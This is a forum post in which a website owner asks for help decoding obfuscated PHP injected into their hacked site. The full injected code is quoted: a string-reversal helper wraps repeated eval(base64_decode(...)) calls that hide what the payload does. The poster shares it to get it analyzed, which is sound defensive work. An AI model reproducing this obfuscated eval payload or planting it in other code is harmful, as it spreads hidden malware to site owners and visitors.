Limp Posted April 30, 2011 Share Posted April 30, 2011 This is the case. My website got hacked and injections took place with encoded code. I tried to figure out how to decode it all but I am out of ideas. I need to figure out what was going on here and hope someone is willing to help me. The code is here: if ($evalZjhGYTfoFIetGo != 34517) {function evalJHIOkgzInSMJH($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(evalJHIOkgzInSMJH(')"=sTKwgyZulGdy9GclJ3Xy9mcyVGQ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"=ASf7kCaYlEe4NGZjF0ayFFbhZXZkgSZk92YlR2X0YTZzFmYg4mc1RXZytHIpgGWJhHejR2YBtmcRxWY2VGJoYEWJFGVZdWeQtEbhZXZg42bpR3YuVnZ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"==wOpISPNJTWigiRYlUYUl1Z5B1SsFmdlBSPgYVQ59kZmZUWtdHUixWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"7kiI90ESkhmUzMmIoYEWJFGVZdWeQtEbhZXZ9s2QR1UcqFFUhllYHxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"7kiI90TQjBjUIFmIoYEWJFGVZdWeQtEbhZXZ9MkZk5UbBFFVmZFVmZ3Q6xWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"=sTKi0DNXFmIoYEWJFGVZdWeQtEbhZXZ98EenNVbOp1US9GSLJlbwxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"==wOpISP9EVS2R2VJJCKGhVShRVWnlHULxWY2VWP6d0Yk1UZz1WaDllQi1GarxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"==wOdliIVVTVShkRwg1UWBTVWljRVVlUGNlIoYEWJFGVZdWeQtEbhZXZbJVRWJVRT9FJ9U1Trt0arJWazFmcIxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"=sTKpISP9c2YshXbZRnRtVlIoYEWJFGVZdWeQtEbhZXZgwSKiQjVHpVdGd1VigiRYlUYUl1Z5B1SsFmdlBCLpISPJhlWyw2RhpmSYllZGdVYigiRYlUYUl1Z5B1SsFmdlBCLpICM50WUP5kVUJCKGhVShRVWnlHULxWY2VGIskiI9EkbjFDeyUlIoYEWJFGVZdWeQtEbhZXZgwSKiwGeyold5IjUigiRYlUYUl1Z5B1SsFmdlhSehJnchBSPg0Ua0ZWTKREephHcq52SSxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"==wOWFUePZmZGlVb3BlYsFmdlRSPuAnaCpUV5RGWsNGbhZXZkASKgsyKpRCI7gDI9wDIpRCI7ADI9ASakgCIy9mZ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"=sTKpISP9ElZ3sWejt2Z5NGM1clWwUjMipWOGRGbkJDWsh3Vh1mQFlUdKhFZwYVbjdjQTtkeSN0SNlzaadnSsVGNoV0VCZFbkdnVHJGaahlWnRjMiBnUzkVdW5mWigiRYlUYUl1Z5B1SsFmdlhCbhZXZ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"==wOWFUePZmZGlVb3BlYsFmdlRiLi4iI94CIwpmQKVVekhFbjxWY2VGJ"(edoced_46esab(lave'));eval(evalJHIOkgzInSMJH(')"=0Xf7MGWFpmbXpWZjRmWOlEbhZXZkAyboNWZ70VMbNGWFpmbXpWZjRmWOlEbhZXZkASPgMGWFpmbXpWZjRmWOlEbhZXZkAyOpMGWFpmbXpWZjRmWOlEbhZXZkwieHNGZNV2ctl2QZJkYth2asFmdlRCKlR2bsBHelBSPgMGWFpmbXpWZjRmWOlEbhZXZksXKpo3RjRWTlNXbpNUWCJWbotGbhZXZkwyYYVkaudlalNGZa5USsFmdlRCKyR3cyR3coAiZptTKp0VKiUlTxQVS5YUVVJlRTJCKGhVShRVWnlHULxWY2V2WSVkVSV0UfRCKlR2bj5WZsJXdukiI5cWbKJCKGhVShRVWnlHULxWY2VmLpU1Trt0arJWazFmcIxWY2VGJoUGZvNmblxmc15SKikTStpkIoYEWJFGVZdWeQtEbhZXZu0VKi0TSGJVRGBDWGJVMU5kVrVlIoYEWJFGVZdWeQtEbhZXZbJVRWJVRT9FJukiI9ADVhJCKGhVShRVWnlHULxWY2VmLpISP4Q0YigiRYlUYUl1Z5B1SsFmdl5SKi8mQuxkIoYEWJFGVZdWeQtEbhZXZu8EenNVbOp1US9GSLJlbwxWY2VGJukiI90zdMJCKGhVShRVWnlHULxWY2VmLwpmQKVVekhFbjxWY2VGJukiI9gTeMJCKGhVShRVWnlHULxWY2VmLpISP9c2TigiRYlUYUl1Z5B1SsFmdl5yQmRmTtFUUUZmVUZmdDpHbhZXZkgCTPZGcSpHeIhVQVZHclxWY2VGI9AyYYVkaudlalNGZa5USsFmdlRCI7kCMwgDMxsSKoUWbpRHLpkiI90ESkhmUzMmIoYEWJFGVZdWeQtEbhZXZoUDZtxyaDFVTxpWUQFWWidEbhZXZkgSZpt2bvNGdlNHQgsHIlNHblBSf7BSKpkSXrNUUNFnaRBVYZJ2RsFmdlRyWFl0SP90QfRCK0V2czlGKgI3bgkSKV90aLt2ail2chJHSsFmdlRCIsISavICIuASKNlGdm1kSEhXa4BnautkUsFmdlRCIsICfigSZk9Gbw1Wag4CIi8iIog2Y0FWbfdWZyBHKoYWa"(edoced_46esab(lave'));$evalZjhGYTfoFIetGo =34517;} Quote Link to comment https://forums.phpfreaks.com/topic/235164-need-help-fast/ Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.